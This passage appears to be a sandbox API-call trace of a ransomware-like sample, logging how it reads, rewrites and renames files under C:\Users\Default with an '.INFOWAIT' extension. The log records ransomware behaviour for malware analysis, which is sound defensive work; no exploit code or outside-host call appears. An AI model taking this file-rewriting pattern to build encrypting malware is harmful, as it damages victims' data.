lpString1="C:\\Users\\Default\\Contacts\\Administrator.contact.INFOWAIT") returned="C:\\Users\\Default\\Contacts\\Administrator.contact.INFOWAIT" [0146.973] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\Default\\Contacts\\Administrator.contact.INFOWAIT" (normalized: "c:\\users\\default\\contacts\\administrator.contact.infowait")) returned 1 [0146.973] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.974] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.975] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.975] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.975] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19c [0146.975] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.975] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.975] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x19c, lpOverlapped=0x0) returned 1 [0146.976] VirtualAlloc (lpAddress=0x0, dwSize=0x19c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.977] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.977] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x19c, lpOverlapped=0x0) returned 1 [0146.977] CloseHandle (hObject=0xad4) returned 1 [0146.977] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Contacts\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Contacts\\desktop.ini") returned="C:\\Users\\Default\\Contacts\\desktop.ini" [0146.977] lstrcatW (in: lpString1="C:\\Users\\Default\\Contacts\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Contacts\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Contacts\\desktop.ini.INFOWAIT" [0146.977] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Contacts\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\contacts\\desktop.ini.infowait")) returned 1 [0146.978] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.978] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.978] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.979] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.979] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11a [0146.979] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.979] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.980] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11a, lpOverlapped=0x0) returned 1 [0146.981] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.981] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.981] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x11a, lpOverlapped=0x0) returned 1 [0146.981] CloseHandle (hObject=0xad4) returned 1 [0146.981] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Desktop\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Desktop\\desktop.ini") returned="C:\\Users\\Default\\Desktop\\desktop.ini" [0146.981] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Desktop\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Desktop\\desktop.ini.INFOWAIT" [0146.981] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Desktop\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\desktop\\desktop.ini.infowait")) returned 1 [0146.982] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.982] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.983] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.983] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.983] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x192 [0146.983] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.983] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.983] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x192, lpOverlapped=0x0) returned 1 [0146.984] VirtualAlloc (lpAddress=0x0, dwSize=0x192, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.985] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.985] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x192, lpOverlapped=0x0) returned 1 [0146.985] CloseHandle (hObject=0xad4) returned 1 [0146.985] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Documents\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Documents\\desktop.ini") returned="C:\\Users\\Default\\Documents\\desktop.ini" [0146.985] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Documents\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Documents\\desktop.ini.INFOWAIT" [0146.985] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Documents\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\documents\\desktop.ini.infowait")) returned 1 [0146.985] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.986] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.986] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.986] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.990] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11a [0146.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.990] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.990] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11a, lpOverlapped=0x0) returned 1 [0146.991] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.991] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.991] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x11a, lpOverlapped=0x0) returned 1 [0146.991] CloseHandle (hObject=0xad0) returned 1 [0146.992] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Downloads\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Downloads\\desktop.ini") returned="C:\\Users\\Default\\Downloads\\desktop.ini" [0146.992] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Downloads\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Downloads\\desktop.ini.INFOWAIT" [0146.992] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Downloads\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\downloads\\desktop.ini.infowait")) returned 1 [0146.992] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.993] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.993] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.993] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.993] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x192 [0146.993] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.993] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.994] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x192, lpOverlapped=0x0) returned 1 [0146.995] VirtualAlloc (lpAddress=0x0, dwSize=0x192, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.995] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.995] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x192, lpOverlapped=0x0) returned 1 [0146.995] CloseHandle (hObject=0xad0) returned 1 [0146.995] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Favorites\\desktop.ini") returned="C:\\Users\\Default\\Favorites\\desktop.ini" [0146.995] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\desktop.ini.INFOWAIT" [0146.996] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\desktop.ini.infowait")) returned 1 [0146.996] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.997] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.997] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.997] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.997] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50 [0146.997] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.997] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.997] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x50, lpOverlapped=0x0) returned 1 [0146.999] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.999] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.999] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x50, lpOverlapped=0x0) returned 1 [0146.999] CloseHandle (hObject=0xad0) returned 1 [0146.999] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" [0146.999] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Links\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.INFOWAIT" [0146.999] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini.infowait")) returned 1 [0147.000] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.000] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.001] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.001] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.001] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe2 [0147.001] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.001] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.001] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe2, lpOverlapped=0x0) returned 1 [0147.002] VirtualAlloc (lpAddress=0x0, dwSize=0xe2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.003] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.003] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe2, lpOverlapped=0x0) returned 1 [0147.003] CloseHandle (hObject=0xad0) returned 1 [0147.003] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" [0147.003] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT" [0147.003] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.infowait")) returned 1 [0147.003] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.004] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.004] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.004] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0147.006] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.006] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.006] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.006] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.007] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.008] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.008] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.008] CloseHandle (hObject=0xad4) returned 1 [0147.008] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0147.008] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT" [0147.008] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.infowait")) returned 1 [0147.008] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.009] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.009] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.009] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0147.010] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.010] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.010] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.010] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.011] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.011] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.011] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.011] CloseHandle (hObject=0xad4) returned 1 [0147.011] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0147.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT" [0147.012] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.infowait")) returned 1 [0147.012] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.013] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.013] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.013] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.014] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.014] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.014] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.015] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.016] 